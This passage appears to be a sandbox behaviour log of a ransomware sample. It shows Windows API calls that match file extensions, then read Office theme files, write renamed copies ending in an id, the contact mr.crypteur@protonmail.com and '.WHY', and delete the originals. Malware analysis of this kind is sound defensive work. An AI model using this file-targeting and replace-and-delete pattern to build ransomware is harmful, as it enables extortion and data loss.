Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.807] lstrlenW (lpString=".doc") returned 4 [0256.807] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0256.807] lstrlenW (lpString=".docx") returned 5 [0256.807] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0256.808] lstrlenW (lpString=".pdf") returned 4 [0256.808] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0256.808] lstrlenW (lpString=".xls") returned 4 [0256.808] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0256.808] lstrlenW (lpString=".xlsx") returned 5 [0256.808] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0256.808] lstrlenW (lpString=".ppt") returned 4 [0256.808] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0256.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.808] lstrlenW (lpString=".zip") returned 4 [0256.808] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0256.808] lstrlenW (lpString=".rar") returned 4 [0256.808] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0256.809] lstrlenW (lpString=".bz2") returned 4 [0256.809] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0256.809] lstrlenW (lpString=".7z") returned 3 [0256.809] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0256.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.809] lstrlenW (lpString=".dbf") returned 4 [0256.809] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0256.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.809] lstrlenW (lpString=".1cd") returned 4 [0256.809] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0256.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.810] lstrlenW (lpString=".jpg") returned 4 [0256.810] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0256.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.810] lstrlenW (lpString=".doc") returned 4 [0256.810] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0256.810] lstrlenW (lpString=".docx") returned 5 [0256.810] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0256.810] lstrlenW (lpString=".pdf") returned 4 [0256.810] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0256.810] lstrlenW (lpString=".xls") returned 4 [0256.810] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0256.811] lstrlenW (lpString=".xlsx") returned 5 [0256.811] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0256.811] lstrlenW (lpString=".ppt") returned 4 [0256.811] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0256.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.811] lstrlenW (lpString=".zip") returned 4 [0256.811] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0256.811] lstrlenW (lpString=".rar") returned 4 [0256.811] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0256.811] lstrlenW (lpString=".bz2") returned 4 [0256.811] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0256.811] lstrlenW (lpString=".7z") returned 3 [0256.812] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0256.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.812] lstrlenW (lpString=".dbf") returned 4 [0256.812] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0256.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.812] lstrlenW (lpString=".1cd") returned 4 [0256.812] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0256.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.812] lstrlenW (lpString=".jpg") returned 4 [0256.812] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0256.813] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0256.813] lstrlenW (lpString="Black Tie.eftx") returned 14 [0256.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0258.097] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=618119) returned 1 [0258.098] CloseHandle (hObject=0x3a4) returned 1 [0258.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0258.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0258.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.376] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.376] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0268.101] GetLastError () returned 0x0 [0268.101] ReadFile (in: hFile=0x390, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x96e87, lpOverlapped=0x0) returned 1 [0268.346] WriteFile (in: hFile=0x258, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0268.722] ReadFile (in: hFile=0x390, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.722] WriteFile (in: hFile=0x258, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0268.722] SetEndOfFile (hFile=0x258) returned 1 [0268.723] CloseHandle (hObject=0x258) returned 1 [0270.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.039] SetEndOfFile (hFile=0x390) returned 1 [0273.367] CloseHandle (hObject=0x390) returned 1 [0273.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0273.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.369] lstrlenW (lpString=".doc") returned 4 [0273.370] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.370] lstrlenW (lpString=".docx") returned 5 [0273.370] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.370] lstrlenW (lpString=".pdf") returned 4 [0273.370] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.370] lstrlenW (lpString=".xls") returned 4 [0273.370] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.370] lstrlenW (lpString=".xlsx") returned 5 [0273.370] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.370] lstrlenW (lpString=".ppt") returned 4 [0273.370] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.370] lstrlenW (lpString=".zip") returned 4 [0273.371] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.371] lstrlenW (lpString=".rar") returned 4 [0273.371] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.371] lstrlenW (lpString=".bz2") returned 4 [0273.371] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.371] lstrlenW (lpString=".7z") returned 3 [0273.371] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.371] lstrlenW (lpString=".dbf") returned 4 [0273.371] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.371] lstrlenW (lpString=".1cd") returned 4 [0273.371] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.372] lstrlenW (lpString=".jpg") returned 4 [0273.372] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.372] lstrlenW (lpString=".doc") returned 4 [0273.372] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.372] lstrlenW (lpString=".docx") returned 5 [0273.372] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.372] lstrlenW (lpString=".pdf") returned 4 [0273.373] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.373] lstrlenW (lpString=".xls") returned 4 [0273.373] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.373] lstrlenW (lpString=".xlsx") returned 5 [0273.373] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.373] lstrlenW (lpString=".ppt") returned 4 [0273.373] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.373] lstrlenW (lpString=".zip") returned 4 [0273.373] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.373] lstrlenW (lpString=".rar") returned 4 [0273.373] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.373] lstrlenW (lpString=".bz2") returned 4 [0273.373] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.373] lstrlenW (lpString=".7z") returned 3 [0273.374] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.374] lstrlenW (lpString=".dbf") returned 4 [0273.374] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.374] lstrlenW (lpString=".1cd") returned 4 [0273.374] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0273.374] lstrlenW (lpString=".jpg") returned 4 [0273.374] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.375] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0273.375] lstrlenW (lpString="Executive.eftx") returned 14 [0273.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0273.589] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=21156) returned 1 [0273.589] CloseHandle (hObject=0x164) returned 1 [0273.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0273.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0273.590] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.590] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0273.592] GetLastError () returned 0x0 [0273.592] ReadFile (in: hFile=0x164, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x52a4, lpOverlapped=0x0) returned 1 [0273.742] WriteFile (in: hFile=0x3b4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0273.747] ReadFile (in: hFile=0x164, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.747] WriteFile (in: hFile=0x3b4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0273.748] SetEndOfFile (hFile=0x3b4) returned 1 [0273.748] CloseHandle (hObject=0x3b4) returned 1 [0273.750] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.750] SetEndOfFile (hFile=0x164) returned 1 [0273.769] CloseHandle (hObject=0x164) returned 1 [0273.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0273.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.771] lstrlenW (lpString=".doc") returned 4 [0273.771] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.771] lstrlenW (lpString=".docx") returned 5 [0273.771] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.772] lstrlenW (lpString=".pdf") returned 4 [0273.772] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.772] lstrlenW (lpString=".xls") returned 4 [0273.772] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.772] lstrlenW (lpString=".xlsx") returned 5 [0273.772] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.772] lstrlenW (lpString=".ppt") returned 4 [0273.772] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.772] lstrlenW (lpString=".zip") returned 4 [0273.772] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.772] lstrlenW (lpString=".rar") returned 4 [0273.772] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.773] lstrlenW (lpString=".bz2") returned 4 [0273.773] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.773] lstrlenW (lpString=".7z") returned 3 [0273.773] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.773] lstrlenW (lpString=".dbf") returned 4 [0273.773] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.773] lstrlenW (lpString=".1cd") returned 4 [0273.773] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.773] lstrlenW (lpString=".jpg") returned 4 [0273.774] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.774] lstrlenW (lpString=".doc") returned 4 [0273.774] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.774] lstrlenW (lpString=".docx") returned 5 [0273.775] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.775] lstrlenW (lpString=".pdf") returned 4 [0273.775] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.775] lstrlenW (lpString=".xls") returned 4 [0273.775] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.775] lstrlenW (lpString=".xlsx") returned 5 [0273.775] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.775] lstrlenW (lpString=".ppt") returned 4 [0273.775] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.775] lstrlenW (lpString=".zip") returned 4 [0273.775] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.776] lstrlenW (lpString=".rar") returned 4 [0273.776] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.776] lstrlenW (lpString=".bz2") returned 4 [0273.776] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.776] lstrlenW (lpString=".7z") returned 3 [0273.776] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.776] lstrlenW (lpString=".dbf") returned 4 [0273.776] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.776] lstrlenW (lpString=".1cd") returned 4 [0273.776] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0273.776] lstrlenW (lpString=".jpg") returned 4 [0273.777] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.777] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0273.777] lstrlenW (lpString="Foundry.eftx") returned 12 [0273.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0273.780] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=18226) returned 1 [0273.780] CloseHandle (hObject=0x164) returned 1 [0273.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0273.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0273.781] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.781] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0273.782] GetLastError () returned 0x0 [0273.782] ReadFile (in: hFile=0x164, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x4732, lpOverlapped=0x0) returned 1 [0273.935] WriteFile (in: hFile=0x3b4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x4740, lpOverlapped=0x0) returned 1 [0273.939] ReadFile (in: hFile=0x164, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.939] WriteFile (in: hFile=0x3b4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.939] SetEndOfFile (hFile=0x3b4) returned 1 [0273.939] CloseHandle (hObject=0x3b4) returned 1 [0273.941] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.941] SetEndOfFile (hFile=0x164) returned 1 [0273.949] CloseHandle (hObject=0x164) returned 1 [0273.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1 [0274.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.595] lstrlenW (lpString=".doc") returned 4 [0274.595] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.595] lstrlenW (lpString=".docx") returned 5 [0274.595] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.595] lstrlenW (lpString=".pdf") returned 4 [0274.596] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.596] lstrlenW (lpString=".xls") returned 4 [0274.596] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.596] lstrlenW (lpString=".xlsx") returned 5 [0274.596] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.596] lstrlenW (lpString=".ppt") returned 4 [0274.596] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme 